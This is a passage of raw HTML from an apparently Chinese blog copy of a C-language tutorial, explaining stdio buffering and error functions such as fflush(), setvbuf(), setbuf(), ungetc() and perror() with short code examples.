href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fflush\" class=\"headerlink\" title=\"fflush()\"\u003e\u003c/a\u003efflush()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efflush()\u003c/code\u003e用于清空缓存区。它接受一个文件指针作为参数,将缓存区内容写入该文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efflush(fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果不需要保存缓存区内容,则可以传入空指针 NULL。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efflush(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果清空成功,\u003ccode\u003efflush()\u003c/code\u003e返回0,否则返回 EOF。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003efflush()\u003c/code\u003e一般只用来清空输出缓存区(比如写文件)。如果使用它来清空输入缓存区(比如读文件),属于未定义行为。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efflush()\u003c/code\u003e的一个用途是不等回车键,就强迫输出缓存区。大多数系统都是行缓存,这意味着只有遇到回车键(或者缓存区满了,或者文件读到结尾),缓存区的内容才会输出,\u003ccode\u003efflush()\u003c/code\u003e可以不等回车键,立即输出。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e9\u003c/span\u003e; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\r%d\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fflush(\u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是一个倒计时效果,\u003ccode\u003e\\r\u003c/code\u003e是回车键,表示每轮循环都会回到当前行的行首,等于删除上一轮循环的输出。\u003ccode\u003efflush(stdout)\u003c/code\u003e表示立即将缓存输出到显示器,这一行是必需的,否则由于上一行的输出没有回车键,不会触发缓存输出,屏幕上不会显示任何内容,只会等到程序运行结束再一次性输出。\u003c/p\u003e\u003ch3 id=\"setvbuf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#setvbuf\" class=\"headerlink\" title=\"setvbuf()\"\u003e\u003c/a\u003esetvbuf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esetvbuf()\u003c/code\u003e函数用于定义某个字节流应该如何缓存。它可以接受四个参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esetvbuf\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* buffer, \u003cspan class=\"type\"\u003eint\u003c/span\u003e mode, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e第一个参数\u003ccode\u003estream\u003c/code\u003e是文件流。\u003c/p\u003e\u003cp\u003e第二个参数\u003ccode\u003ebuffer\u003c/code\u003e是缓存区的地址。\u003c/p\u003e\u003cp\u003e第三个参数\u003ccode\u003emode\u003c/code\u003e指定缓存的行为模式,它是下面三个宏之一,这些宏都定义在\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e_IOFBF\u003c/code\u003e:满缓存。当缓存为空时,才从流读入数据;当缓存满了,才向流写入数据。一般情况下,这是默认设置。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e_IOLBF\u003c/code\u003e:行缓存。每次从流读入一行数据,或向流写入一行数据,即以行为单位读写缓存。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e_IONBF\u003c/code\u003e:无缓存。不使用缓存区,直接读写设备。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e第四个参数\u003ccode\u003esize\u003c/code\u003e指定缓存区的大小。较大的缓存区提供更好的性能,而较小的缓存区可以节省空间。\u003ccode\u003estdio.h\u003c/code\u003e提供了一个宏\u003ccode\u003eBUFSIZ\u003c/code\u003e,表示系统默认的缓存区大小。\u003c/p\u003e\u003cp\u003e它的意义在于,使得用户可以在打开一个文件之前,定义自己的文件缓冲区,而不必使用\u003ccode\u003efopen()\u003c/code\u003e函数打开文件时设定的默认缓冲区。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[N];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esetvbuf(stream, buffer, _IOFBF, N);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例设置文件流\u003ccode\u003estream\u003c/code\u003e的缓存区从地址\u003ccode\u003ebuffer\u003c/code\u003e开始,大小为\u003ccode\u003eN\u003c/code\u003e,模式为\u003ccode\u003e_IOFBF\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esetvbuf()\u003c/code\u003e的第二个参数可以为空指针 NULL。这样的话,\u003ccode\u003esetvbuf()\u003c/code\u003e会自己创建一个缓存区。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003esetvbuf()\u003c/code\u003e的调用必须在对文件流执行任何操作之前。\u003c/p\u003e\u003cp\u003e如果调用成功,\u003ccode\u003esetvbuf()\u003c/code\u003e的返回值为\u003ccode\u003e0\u003c/code\u003e,否则返回非零值。\u003c/p\u003e\u003cp\u003e下面的例子是将缓存区调整为行缓存。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE *fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e lineBuf[\u003cspan class=\"number\"\u003e1024\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;somefile.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esetvbuf(fp, lineBuf, _IOLBF, \u003cspan class=\"number\"\u003e1024\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"setbuf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#setbuf\" class=\"headerlink\" title=\"setbuf()\"\u003e\u003c/a\u003esetbuf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esetbuf()\u003c/code\u003e是\u003ccode\u003esetvbuf()\u003c/code\u003e的早期版本,可以视为后者的简化版本,也用来定义某个字节流的缓存区。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esetbuf\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* buffer)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的第一个参数\u003ccode\u003estream\u003c/code\u003e是文件流,第二个参数\u003ccode\u003ebuffer\u003c/code\u003e是缓存区的地址。\u003c/p\u003e\u003cp\u003e它总是可以改写成\u003ccode\u003esetvbuf()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[BUFSIZ];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esetbuf(stream, buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esetvbuf(stream, buffer, _IOFBF, BUFSIZ);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eBUFSIZ\u003c/code\u003e是\u003ccode\u003estdio.h\u003c/code\u003e定义的宏,表示系统默认的缓存区大小。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esetbuf()\u003c/code\u003e函数没有返回值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esetbuf()\u003c/code\u003e的第二个参数如果设置为 NULL,表示不进行缓存。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetbuf(\u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esetvbuf(\u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, _IONBF, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"ungetc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ungetc\" class=\"headerlink\" title=\"ungetc()\"\u003e\u003c/a\u003eungetc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eungetc()\u003c/code\u003e将从缓存里面读取的上一个字符,重新放回缓存,下一个读取缓存的操作会从这个字符串开始。有些操作需要了解下一个字符是什么,再决定应该怎么处理,这时这个函数就很有用。\u003c/p\u003e\u003cp\u003e它的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eungetc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e c, FILE *stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的第一个参数是一个字符变量,第二个参数是一个打开的文件流。它的返回值是放回缓存的那个字符,操作失败时,返回 EOF。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e ch = fgetc(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eisdigit\u003c/span\u003e(ch)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ch = fgetd(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eungetc(ch, fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果读取的字符不是数字,就将其放回缓存。\u003c/p\u003e\u003ch3 id=\"perror\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#perror\" class=\"headerlink\" title=\"perror()\"\u003e\u003c/a\u003eperror()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eperror()\u003c/code\u003e用于在 stderr 的错误信息之前,添加一个自定义字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eperror\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *s)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e该函数的参数就是在报错信息前添加的字符串。它没有返回值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;math.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;errno.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e errno = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e y = \u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (errno != \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;sqrt error\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,求\u003ccode\u003e-1\u003c/code\u003e的平方根,导致报错。头文件\u003ccode\u003eerrno.h\u003c/code\u003e提供宏\u003ccode\u003eerrno\u003c/code\u003e,只要上一步操作出错,这个宏就会设置成非零值。\u003ccode\u003eperror()\u003c/code\u003e用来在报错信息前,加上\u003ccode\u003esqrt error\u003c/code\u003e的自定义字符串。\u003c/p\u003e\u003cp\u003e执行上面的程序,就会得到下面的报错信息。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc test.c -lm\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ ./a.out\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqrt error: Numerical argument out of domain\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"可变参数操作函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%AF%E5%8F%98%E5%8F%82%E6%95%B0%E6%93%8D%E4%BD%9C%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"可变参数操作函数\"\u003e\u003c/a\u003e可变参数操作函数\u003c/h3\u003e\u003cp\u003e(1)输出函数\u003c/p\u003e\u003cp\u003e下面是\u003ccode\u003eprintf()\u003c/code\u003e的变体函数,用于按照给定格式,输出函数的可变参数列表(va_list)。\u003c/p\u003e\u003cul\u003e\u003cli\u003evprintf():按照给定格式,输出到控制台,默认是显示器。\u003c/li\u003e\u003cli\u003evfprintf():按照给定格式,输出到文件。\u003c/li\u003e\u003cli\u003evsprintf():按照给定格式,输出到字符串。\u003c/li\u003e\u003cli\u003evsnprintf():按照给定格式,输出到字符串的安全版本。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的原型如下,基本与对应的\u003ccode\u003eprintf()\u003c/code\u003e系列函数一致,除了最后一个参数是可变参数对象。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan 